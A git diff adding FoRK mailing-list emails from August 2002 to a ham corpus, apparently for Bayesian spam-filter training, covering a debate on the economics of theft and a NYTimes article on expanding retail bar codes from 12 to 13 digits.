b/bayes/spamham/easy_ham_2/01020.148aeb8bb7ed8c4b55999254c156833f new file mode 100644 index 0000000..4032833 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01020.148aeb8bb7ed8c4b55999254c156833f @@ -0,0 +1,95 @@ +From fork-admin@xent.com Mon Aug 12 18:39:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ED8E744177 + for ; Mon, 12 Aug 2002 13:39:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 18:39:06 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7CHZub27187 for ; + Mon, 12 Aug 2002 18:35:56 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 119FD2940AE; Mon, 12 Aug 2002 10:34:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id 0C9402940A3 for ; Mon, + 12 Aug 2002 10:33:26 -0700 (PDT) +Received: (qmail 25047 invoked from network); 12 Aug 2002 17:34:32 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 12 Aug 2002 17:34:32 -0000 +Reply-To: +From: "John Hall" +To: +Subject: RE: David Friedman: Mail Me the Money! +Message-Id: <001901c24226$81994050$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +In-Reply-To: +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 12 Aug 2002 10:34:26 -0700 + +The case against theft also acknowledges that the value to the thief is +often far less than the value to the victim. Stealing my $1,000 sterio +and then fencing it for $50 does not result in 'no loss' the the economy +overall. For the same reason that voluntary transactions increase +social value, involuntary ones decrease it. If the sterio was worth as +much to the theif as it was to me he'd buy it ... + +On the flip side of this, common law allows a breach of property law in +precisely the type of scenarios where a net social gain is recorded but +the owner's availability to make a contract was problematic. Breaking +into your isolated cabin because I'm starving, for example, is +permissible if I later offer restitution for the damage I caused and the +food I ate. + +> -----Original Message----- +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +> Russell Turpin +> Sent: Saturday, August 10, 2002 6:25 AM +> To: fork@spamassassin.taint.org +> Subject: Re: David Friedman: Mail Me the Money! +> +> R. A. Hettinga: +> >..which reminds me of my favorite David Friedman quote. "The direct +use +> of +> >physical force is so poor a solution to the problem of limited +resources +> >that it is commonly employed only by small children and great +nations." +> +> Is that relevent here? The spam problem, like +> the fraud and the robbery problem, is about people +> who will do whatever it takes to make a buck, no +> matter how much harm they do to others in the +> process. +> +> From an economist's viewpoint, the downside of +> theft is not that it transfers property from one +> person to another, which is no loss to the economy +> overall, but that defending against it is an +> additional expense simply to enjoy what you +> have already acquired. + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01021.ec8324b2e130d84ca95ad76395191d4c b/bayes/spamham/easy_ham_2/01021.ec8324b2e130d84ca95ad76395191d4c new file mode 100644 index 0000000..11239ab --- /dev/null +++ b/bayes/spamham/easy_ham_2/01021.ec8324b2e130d84ca95ad76395191d4c @@ -0,0 +1,136 @@ +From fork-admin@xent.com Tue Aug 13 10:31:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0ABE0440F9 + for ; Tue, 13 Aug 2002 05:22:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:29 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7CLZ5b02498 for ; + Mon, 12 Aug 2002 22:35:07 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 154422941B7; Mon, 12 Aug 2002 14:33:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id BD0DC2940EF for ; Mon, + 12 Aug 2002 14:32:01 -0700 (PDT) +Received: (qmail 31031 invoked from network); 12 Aug 2002 21:33:09 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 12 Aug 2002 21:33:09 -0000 +Reply-To: +From: "John Hall" +To: +Subject: RE: David Friedman: Mail Me the Money! +Message-Id: <000701c24247$d68f9340$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +In-Reply-To: +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 12 Aug 2002 14:33:02 -0700 + + +As a practical matter, I doubt the value sold in such situations ever +adds up to the value lost. And the non-pecuiary since of violation, +loss, and trouble has to get in there somewhere if we are really picky. + +I don't think considering marginal utility of dollars has value in this +situation. We aren't debating whether the thief is better off -- he is. + +I'm not a lawyer either. I played one on TV once but I didn't play a +very good one and they canceled it after the first episode ... + +The situtation I described came from my recollection of Epstein's +'Takings'. He was specifically rejecting the idea of absolute property +right found in Liberation theology and was using the idea -- that in an +emergency where my life depends upon it I'm entitled to violate your +property rights and (more) you are forbidden from using unreasonable +force to defend them (particularly if you aren't around). + +Maybe I did get it all wrong, but that particular recollection is +relatively strong precisely because it gave a good reason why my +libertarian theology needed to be modified. + +He was also analyzing what the common law had come up with, which might +not be the statuatory law in a particular jurisdiction. + + + +> -----Original Message----- +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +> Russell Turpin +> Sent: Monday, August 12, 2002 2:15 PM +> To: fork@spamassassin.taint.org +> Subject: RE: David Friedman: Mail Me the Money! +> +> John Hall: +> >The case against theft also acknowledges that the value to the thief +is +> >often far less than the value to the victim. Stealing my $1,000 +stereo +> and +> >then fencing it for $50 does not result in 'no loss' to the economy +> >overall. .. +> +> That depends on the value placed on it by the fellow +> who buys it from the pawn shop. And if you take +> into account the marginal utility of dollars, the +> thief may value his lucre more than his victim. +> +> >On the flip side of this, common law allows a breach of property law +in +> >precisely the type of scenarios where a net social gain is recorded +but +> >the owner's availability to make a contract was problematic. Breaking +> into +> >your isolated cabin because I'm starving, for example, is permissible +if +> I +> >later offer restitution for the damage I caused and the food I ate. +> +> I am not a lawyer, but I think this is an incorrect +> analysis of what the law allows in emergencies. I +> can break into your cabin, take your rifle, grab a +> box of your ammo, and shoot the bear that is mauling +> a poor hiker, without having committed the crimes of +> breaking and entering, theft, hunting out of season, +> and killing an endangered species, whether or not I +> later offer to pay for your window and ammunition. +> The law simply puts a higher priority on saving +> human life in emergency than on these other things. +> +> Now yes, you can turn around and sue me for +> recompense. But that is a civil issue, not a +> criminal one. Crime requires mens rea. And when I +> shot the bear, I wasn't thinking about who owned +> the bullet. +> +> +> +> _________________________________________________________________ +> MSN Photos is the easiest way to share and print your photos: +> http://photos.msn.com/support/worldwide.aspx +> +> http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01022.83ef7352b083a85f5f7ae8f20f31578f b/bayes/spamham/easy_ham_2/01022.83ef7352b083a85f5f7ae8f20f31578f new file mode 100644 index 0000000..8344c13 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01022.83ef7352b083a85f5f7ae8f20f31578f @@ -0,0 +1,285 @@ +From fork-admin@xent.com Tue Aug 13 10:31:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2275344142 + for ; Tue, 13 Aug 2002 05:22:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:31 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7D3H0b15153 for ; + Tue, 13 Aug 2002 04:17:01 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 631CE2940A9; Mon, 12 Aug 2002 20:15:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from ms4.lga2.nytimes.com (ms4.lga2.nytimes.com [64.15.247.148]) + by xent.com (Postfix) with ESMTP id 6116F2940A6 for ; + Mon, 12 Aug 2002 20:14:14 -0700 (PDT) +Received: from email4.lga2.nytimes.com (email4 [10.0.0.169]) by + ms4.lga2.nytimes.com (Postfix) with ESMTP id 352125A56D for + ; Mon, 12 Aug 2002 23:19:26 -0400 (EDT) +Received: by email4.lga2.nytimes.com (Postfix, from userid 202) id + B31F2C433; Mon, 12 Aug 2002 23:09:04 -0400 (EDT) +Reply-To: khare@alumni.caltech.edu +From: khare@alumni.caltech.edu +To: fork@spamassassin.taint.org +Subject: NYTimes.com Article: Bigger Bar Code Inches Up on Retailers +Message-Id: <20020813030904.B31F2C433@email4.lga2.nytimes.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 12 Aug 2002 23:09:04 -0400 (EDT) + +This article from NYTimes.com +has been sent to you by khare@alumni.caltech.edu. + + +Let's see... a decimal digit is about 3.33 bits, so this is all about moving from a 36-bit to a 46-bit addressing system. Kind of makes the debate about IPv6 spaces quite real, as well as the Auto-ID center at MIT's proposal for a physical markup language. + +Actual barcode size may yet decline to the point that 2-D codes may yet make it an individual-item level of addressing. + +Seeing software systems this fantastically brittle after fifty years is not, unfortunately, surprising. Are we sure we really know better yet? Are angle brackets really the key to immortality? :-> + +Interesting reinforcement of the Voyager piece I archived earlier today... + +RK + +khare@alumni.caltech.edu + + +Bigger Bar Code Inches Up on Retailers + +August 12, 2002 +By KATE MURPHY + + + + + + +In a little more than two years, retailers in the United +States and Canada will face a deadline that promises +technological challenges akin to the Year 2000 computer +problem. + +Starting Jan. 1, 2005, the 12-digit bar codes retailers use +to identify everything from cars to candy bars will go to +13 digits. The additional number (and associated bars and +spaces) is enough to make checkout scanners seize up and +make computers crash, perhaps disrupting entire supply +chains. + +But many retailers have yet to focus on a problem that will +require significant investments in time and capital. + +"Most retailers are public companies that tend to live +quarterly and not look ahead, which means they are going to +be hit over the head with this and have to scramble at the +last minute to avert disaster," said Thomas Friedman, +president of Retail Systems Research Services, a company in +Newton, Mass., that publishes a retail information +technology newsletter. + +Leading retailers say they have begun to address the issue. +A spokesman for Wal-Mart Stores, the world's largest +retailer, said the company had "embraced the concept" of an +expanded bar code, but he did not respond to questions +about actual measures taken to prepare computer databases +and logistical systems. Similarly, a spokesman for the +Target Corporation said his company was "intellectually +ready" for the change but refused to comment on whether any +of its stores or warehouses were technologically ready. + +But Richard A. Galanti, the chief financial officer of +Costco Wholesale, admitted, "The truth is, given the +timeline, everybody's still in the assessment phase, trying +to figure out what to do." + +The difficulty is similar to the one posed by the Year 2000 +computer problem, when computer software had to be switched +from two-digit entries identifying years to four-digit +entries. Before Jan. 1, 2000, millions of lines of code had +to be rewritten to avoid widespread computer failures. + +Bar codes have been used in packaging since 1974, when the +first item, a pack of chewing gum, was scanned at a +supermarket in Ohio. The codes identify a product, +distinguishing between an eight-ounce can of Del Monte +creamed corn and a medium-size pair of Hanes boxer shorts. +When a bar code is scanned, the information in the store's +database lets the retailer assign a price and track sales +and inventory. + +"The bar code is the linchpin upon which everything in +retail depends," Mr. Friedman said. + +The reason for expanding the 12-digit bar code, known as +the Universal Product Code, is twofold. First, there is a +shortage of U.P.C. numbers. "There's only a certain amount +of 12-digit numbers, and we're going to run out," said John +Terwilliger, vice president of global markets at the +Universal Code Council, a nonprofit organization based in +Lawrenceville, N.J., that assigns codes in the United +States and Canada. Second, 13-digit bar codes are used +almost everywhere else in the world. The council's European +counterpart, EAN International, based in Brussels, assigns +these numbers, called European Article Numbers, to +companies in 99 nations. "Right now," Mr. Terwilliger said, +"foreign importers have to get a 12-digit U.P.C. to do +business over here, which they haven't been too happy +about." + +Foreign manufacturers currently pass on to consumers the +cost of getting an additional bar code and creating special +labels for products sold in the United States and Canada. +"It's an added expense for them, and they have to recoup it +somewhere," said Debra Shimkus, marketing manager at the +Chicago Importing Company, a specialty food importer whose +overseas suppliers are often incredulous when they are told +they have to get new bar codes for their products before +they can be sold in American groceries. + +Many foreign manufacturers decide that it is not worth the +trouble. "A lot of companies have been unwilling to accept +the additional burden," Mr. Terwilliger said, "and have +stayed out of the market entirely." + +American and Canadian exporters have not had the same +obstacle because foreign retailers can easily incorporate a +12-digit number into their 13-digit databases by making the +first digit zero. That is why American and Canadian +manufacturers of products that now have 12-digit codes will +not be affected by the code expansion. A two-liter bottle +of Coca-Cola, for example, will keep the same U.P.C., but a +zero will be added to the beginning of its bar-code number +in retailers' product databases. + +"The effect of the change in the U.P.C. code falls squarely +on retailers," said Mr. Friedman. He estimates that the +upgrade will cost at least $2 million for a chain of 100 +stores with 10 checkout lanes a store. + +The expense will vary depending on the age of a retailer's +databases, software and hardware and whether it has to hire +outside consultants to make the change. Scanners and other +hardware bought more than three years ago will not read +longer codes and will have to be replaced. Software more +than five years old will also have to be scrapped. + +"Thank God we'd already planned to buy new equipment for a +lot of stores this year," said Richard S. Gilbert, director +of store systems at Duane Reade, a chain of 200 drugstores +in New York City. The stores have a total of 3,500 scanning +devices, each costing $1,000 to $2,500. As for the +cumbersome database modifications that need to be made, Mr. +Gilbert said: "Our consultants say they are working on it, +but they haven't gotten back to me with a plan. I still +don't know how big a deal it's all going to be." + +He might want to ask John Poss. Mr. Poss is the +merchandising coordinator for Ace Hardware, which has 5,100 +stores and sells some 65,000 coded products. Ace overhauled +its computer systems to accept longer bar codes in 1999. +The company, based in Oak Brook, Ill., has retail outlets +in 70 countries and more than a hundred foreign suppliers. + +"It was such a struggle to get manufacturers to relabel +things for North America," Mr. Poss said, "and we wanted +the same system in place globally, so we decided to make +the change." + +The company hired a consultant, Cognizant Technology +Solutions, which is based in Teaneck, N.J., and is a +division of Dun & Bradstreet. Ace's in-house team worked on +the project during the day while a Cognizant office in +India took over at night. + +Even so, the project took almost two years to plan and +carry out. In addition to equipment upgrades, modifications +had to be made in more than 500 software programs in +various company divisions (50 in distribution alone). The +most tedious and time-consuming part of the conversion, Mr. +Poss said, was making adjustments to databases. "Every +database in every division touches bar code information, +and they all needed to be reworked," he said. "It's like +Y2K, where you had to go in and expand fields and find +every reference to the date." + +Though Mr. Poss would not disclose the cost of the project, +he said the gains in efficiency and in suppliers' good will +had been "well worth the expense." His advice to other +retailers is to "get busy because you're facing an extreme +challenge." + +But moving to 13 digits may not be enough. The Universal +Code Council and EAN International, which formed an +alliance in 1996, strongly advise manufacturers and +retailers to go a step further and prepare their systems to +accommodate a 14-digit code. That is the length of a newly +patented bar code that takes up less space. Its reduced +size means that it can be affixed to small items like loose +produce, and the extra digits let a retailer keep track of +additional data like batch and lot numbers. + +That additional information would make product recalls +easier. "Today," Mr. Terwilliger said, "once a product is +taken out of the shipping container in the warehouse, you +really can't track it anymore." + +Shipping container bar codes are already 14 digits. The +different bar-code standards mean that retailers need +different computer systems for shipping and receiving, +inventory and sales. By adopting a 14-digit standard, +retailers should be able to put all the information into a +single database. + +Mr. Poss said Ace had added the capacity to scan and store +14 digits when it made its conversion three years ago. "Now +we can scan anything," he said, "whether it's in the +warehouse or at the register, and it immediately goes in to +a centralized system. No more sending data between +divisions." + +The cost and work of making the transition to 14 digits, he +said, was the same as it would have been for a change to 13 +digits. + +Representatives from the standards groups said adopting a +14-digit structure - a step for which no date has been set +- could help streamline the sharing of data among all parts +of a retail operation. It would also make it possible, they +said, to identify products anywhere in the world at any +time during the trade process. + +"And to think it all started with pack of gum," Mr. Poss +said. + +http://www.nytimes.com/2002/08/12/technology/12CODE.html?ex=1030208144&ei=1&en=1b5705e7bd2048e6 + + + +HOW TO ADVERTISE +--------------------------------- +For information on advertising in e-mail newsletters +or other creative advertising opportunities with The +New York Times on the Web, please contact +onlinesales@nytimes.com or visit our online media +kit at http://www.nytimes.com/adinfo + +For general information about NYTimes.com, write to +help@nytimes.com. + +Copyright 2002 The New York Times Company +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01023.2c78860c83817efdf8c9ceb1065433cc b/bayes/spamham/easy_ham_2/01023.2c78860c83817efdf8c9ceb1065433cc new file mode 100644 index 0000000..373432b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01023.2c78860c83817efdf8c9ceb1065433cc @@ -0,0 +1,101 @@ +From fork-admin@xent.com Tue Aug 13 10:31:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 57F8344143 + for ; Tue, 13 Aug 2002 05:22:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:33 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7D4Wrb17233 for ; + Tue, 13 Aug 2002 05:32:53 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A45F62941C0; Mon, 12 Aug 2002 21:29:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by xent.com + (Postfix) with SMTP id 5D3342940A9 for ; Mon, + 12 Aug 2002 21:28:45 -0700 (PDT) +Received: (qmail 66631 invoked from network); 13 Aug 2002 04:29:35 -0000 +Received: from adsl-67-119-24-58.dsl.snfc21.pacbell.net (HELO golden) + (67.119.24.58) by relay1.pair.com with SMTP; 13 Aug 2002 04:29:35 -0000 +X-Pair-Authenticated: 67.119.24.58 +Message-Id: <01d001c24282$06c4aed0$640a000a@golden> +From: "Gordon Mohr" +To: +References: <20020813030904.B31F2C433@email4.lga2.nytimes.com> +Subject: Re: NYTimes.com Article: Bigger Bar Code Inches Up on Retailers +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 12 Aug 2002 21:29:33 -0700 + +Rohit forwards from the NYT: +> Bigger Bar Code Inches Up on Retailers +> August 12, 2002 +> By KATE MURPHY + +I can't imagine why they're inching forward through +13- and then 14- digit extensions; seems they should +just leap ahead to something with real headroom, say +40-digit numbers (128 bits or more). + +How hard can it be to widen the glyph area and +narrow the bars? The sensors have got to be tens +or even hundreds of times more accurate/robust +than when barcodes first took off. + +One segment of the article along these lines: + +> But moving to 13 digits may not be enough. The Universal +> Code Council and EAN International, which formed an +> alliance in 1996, strongly advise manufacturers and +> retailers to go a step further and prepare their systems to +> accommodate a 14-digit code. That is the length of a newly +> patented bar code that takes up less space. Its reduced +> size means that it can be affixed to small items like loose +> produce, and the extra digits let a retailer keep track of +> additional data like batch and lot numbers. + +A newly *patented* bar code, that merely fits 14 digits +into less space? I sure hope there's more to this +"invention" than "more lines, and narrower". + +They might as well go 2-D to fit in lots of extra bits, +which could also ease the transition to the capacity +radio-transponder tags may offer. + +A bunch of info on different barcode standards, including +2-D variants, with examples is at: + +http://www.makebarcode.com/specs/speclist.html + +Something very much like a 2-D barcode is Xerox "Dataglyphs": + +http://www.parc.com/solutions/dataglyphs/ + +- Gordon +____________________ +Gordon Mohr Bitzi CTO . . . describe and discover files of every kind. +_ http://bitzi.com _ . . . Bitzi knows bits -- because you teach it! + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01024.28499f419990c33e20cb2f0ea7c77653 b/bayes/spamham/easy_ham_2/01024.28499f419990c33e20cb2f0ea7c77653 new file mode 100644 index 0000000..84e68a1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01024.28499f419990c33e20cb2f0ea7c77653 @@ -0,0 +1,59 @@ +From fork-admin@xent.com Tue Aug 13 10:31:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 67131440FA + for ; Tue, 13 Aug 2002 05:22:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7D4xvb18010 for ; + Tue, 13 Aug 2002 05:59:58 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0F4AB2941C3; Mon, 12 Aug 2002 21:58:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from nycsmtp3out.rdc-nyc.rr.com (nycsmtp3out.rdc-nyc.rr.com + [24.29.99.228]) by xent.com (Postfix) with ESMTP id 0E4CE2941C2 for + ; Mon, 12 Aug 2002 21:57:09 -0700 (PDT) +Received: from damien (66-108-144-106.nyc.rr.com [66.108.144.106]) by + nycsmtp3out.rdc-nyc.rr.com (8.12.1/Road Runner SMTP Server 1.0) with ESMTP + id g7D50Vkl001231; Tue, 13 Aug 2002 01:00:32 -0400 (EDT) +From: "Damien Morton" +To: +Cc: +Subject: NYTimes.com Article: Bigger Bar Code Inches Up on Retailers +Message-Id: <000101c24285$d1c8da40$6a906c42@damien> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.3416 +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 13 Aug 2002 00:56:43 -0400 + + +How about a highly error corrected atomic level 3D encoding scheme that +relies on shape, colour and chemical make up to uniquely identify every +object in the universe. + +Objects uniquely identify themselves - theres no need for barcodes. + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01025.2b93d90b2a84044db3a273c1618c3cea b/bayes/spamham/easy_ham_2/01025.2b93d90b2a84044db3a273c1618c3cea new file mode 100644 index 0000000..5a1b4a6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01025.2b93d90b2a84044db3a273c1618c3cea @@ -0,0 +1,81 @@ +From fork-admin@xent.com Tue Aug 13 10:31:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 14FD443C47 + for ; Tue, 13 Aug 2002 05:22:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:22:35 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7D6Nwb19825 for ; + Tue, 13 Aug 2002 07:23:59 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1E2F02940AC; Mon, 12 Aug 2002 23:22:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from alumnus.caltech.edu (alumnus.caltech.edu [131.215.49.51]) + by xent.com (Postfix) with ESMTP id D15B92940A8 for ; + Mon, 12 Aug 2002 23:21:18 -0700 (PDT) +Received: from localhost (localhost [127.0.0.1]) by alumnus.caltech.edu + (8.12.3/8.12.3) with ESMTP id g7D6MKDI024833; Mon, 12 Aug 2002 23:22:21 + -0700 (PDT) +Subject: Re: NYTimes.com Article: Bigger Bar Code Inches Up on Retailers +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: gojomo@usa.net, fork@spamassassin.taint.org +To: Damien Morton +From: Rohit Khare +In-Reply-To: <000101c24285$d1c8da40$6a906c42@damien> +Message-Id: <08B81723-AE85-11D6-A682-000393A46DEA@KnowNow.com> +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 12 Aug 2002 23:22:25 -0700 + +Sure, the *object* of a particular head of lettuce may be unique, but +we're not tracking lettuce heads -- we're tracking the *idea* of a +lettuce head in a capitalist system, an ownership relation. + +Besides, in the worst case, these damn object ID's aren't very +compressible. Best representation of a unique head of lettuce I can +think of is... that very head of lettuce. + +Of course, an accumulator is much easier to write, since the Pauli +Exclusion Principle guarantees that adding a head of lettuce to a bin is +an _atomic operation_ + +:-) + +Rohit + + + +On Monday, August 12, 2002, at 09:56 PM, Damien Morton wrote: + +> +> How about a highly error corrected atomic level 3D encoding scheme that +> relies on shape, colour and chemical make up to uniquely identify every +> object in the universe. +> +> Objects uniquely identify themselves - theres no need for barcodes. +> +> +> http://xent.com/mailman/listinfo/fork +> +--- +My permanent email address is khare@alumni.caltech.edu + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/01026.e9a8a4879f4c500e5a21e42fc1945ba0 b/bayes/spamham/easy_ham_2/01026.e9a8a4879f4c500e5a21e42fc1945ba0 new file mode 100644 index 0000000..7c1fdcc --- /dev/null +++ b/bayes/spamham/easy_ham_2/01026.e9a8a4879f4c500e5a21e42fc1945ba0 @@ -0,0 +1,67 @@ +From fork-admin@xent.com Tue Aug 13 11:55:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 546B243C32 + for ; Tue, 13 Aug 2002 06:55:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 11:55:46 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7DAtRe28407 for ; + Tue, 13 Aug 2002 11:55:28 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 319132940A7; Tue, 13 Aug 2002 03:53:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (f39.law15.hotmail.com [64.4.23.39]) by + xent.com (Postfix) with ESMTP id BBCC329409F for ; + Tue, 13 Aug 2002 03:52:47 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Tue, 13 Aug 2002 03:53:58 -0700 +Received: from 216.30.74.2 by lw15fd.law15.hotmail.msn.com with HTTP; + Tue, 13 Aug 2002 10:53:57 GMT +X-Originating-Ip: [216.30.74.2] +From: "Russell Turpin" +To: fork@spamassassin.taint.org +Subject: Re: NYTimes.com Article: Bigger Bar Code Inches Up on Retailers +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 13 Aug 2002 10:53:58.0124 (UTC) FILETIME=[B9AB12C0:01C242B7] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 13 Aug 2002 10:53:57 +0000 + 